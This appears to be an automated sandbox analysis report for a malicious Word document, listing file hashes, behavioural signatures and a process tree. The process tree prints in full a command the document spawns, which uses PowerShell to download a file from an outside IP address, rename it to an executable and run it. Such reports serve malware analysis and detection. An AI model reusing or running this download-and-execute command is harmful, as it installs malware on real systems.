Analysis
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max time kernel
101s -
max time network
132s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
10/04/2024, 09:23
Behavioral task
behavioral1
Sample
058e33e62dd03187d3bbb6a7154a14559149cab11c5bb6111cc965d154f82080.doc
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
058e33e62dd03187d3bbb6a7154a14559149cab11c5bb6111cc965d154f82080.doc
Resource
win10v2004-20240226-en
General
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Target
058e33e62dd03187d3bbb6a7154a14559149cab11c5bb6111cc965d154f82080.doc
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Size
49KB
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MD5
46e03f21a95afa321b88e44e7e399ec3
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SHA1
757109011448eb4dc020758aa6033ce536682714
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SHA256
058e33e62dd03187d3bbb6a7154a14559149cab11c5bb6111cc965d154f82080
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SHA512
081c98031a1af48714d8518638865499d78c7afd25346e7921056dd6721823831c89aa74d2680cecbc6329ebfa258da3a7c347a7fb6a0b14264b4fd208de13a9
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SSDEEP
768:ZonLBFzQDebtfrn1GqClwxw+tioPKcDy:KLBFPlrn1GqTxrtiMKc
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1272 1408 cmd.exe 85 -
Blocklisted process makes network request 1 IoCs
flow pid Process 14 3972 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1408 WINWORD.EXE 1408 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3972 powershell.exe 3972 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3972 powershell.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 1408 WINWORD.EXE 1408 WINWORD.EXE 1408 WINWORD.EXE 1408 WINWORD.EXE 1408 WINWORD.EXE 1408 WINWORD.EXE 1408 WINWORD.EXE 1408 WINWORD.EXE 1408 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1408 wrote to memory of 1272 1408 WINWORD.EXE 88 PID 1408 wrote to memory of 1272 1408 WINWORD.EXE 88 PID 1272 wrote to memory of 3972 1272 cmd.exe 90 PID 1272 wrote to memory of 3972 1272 cmd.exe 90
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\058e33e62dd03187d3bbb6a7154a14559149cab11c5bb6111cc965d154f82080.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -command "iwr -outf c:\ProgramData\document.htm 45.63.49.202/document.html"&& cd c:\ProgramData &&ren document.htm servicehost.exe && servicehost.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1272 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "iwr -outf c:\ProgramData\document.htm 45.63.49.202/document.html"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3972
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84